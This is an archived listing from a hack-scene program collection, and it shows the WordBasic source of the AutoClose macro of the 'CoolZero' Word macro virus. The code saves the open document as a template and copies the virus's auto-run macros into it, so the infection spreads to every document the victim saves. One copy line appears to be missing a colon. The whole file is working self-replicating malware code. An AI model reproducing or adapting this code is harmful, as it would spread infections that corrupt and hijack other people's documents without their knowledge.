home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / MVUPDAT9.ZIP / COOLZERO.ZIP / AUTOCLOS.TXT next >
Text File  |  1997-03-10  |  670b  |  26 lines
  1. Sub MAIN
  2. REM AutoClose macro
  3. On Error Goto Finish
  4.  
  5. For i = 1 To CountMacros(1, 0)
  6.         If MacroName$(i, 1, 1) = "CoolZero" Then
  7.         VInstalled = 1
  8. End If
  9. Next i
  10.  
  11. If VInstalled = 1 Then
  12.         Goto Finish
  13. Else
  14.         On Error Resume Next
  15.         FileSaveAs .Format = 1
  16.         MacroCopy "Global:AutoOpen",  FileName$() + ":AutoOpen"
  17.         MacroCopy "Global:AutoExec",  FileName$() + ":AutoExec"
  18.         MacroCopy "Global:AutoNew",   FileName$() + ":AutoNew"
  19.         MacroCopy "Global:AutoClose", FileName$() + ":AutoClose"
  20.         MacroCopy "Global:CoolZero",  FileName$() + "CoolZero"
  21.         FileSaveAll 1, 0
  22. End If
  23.  
  24. Finish:
  25. End Sub
  26.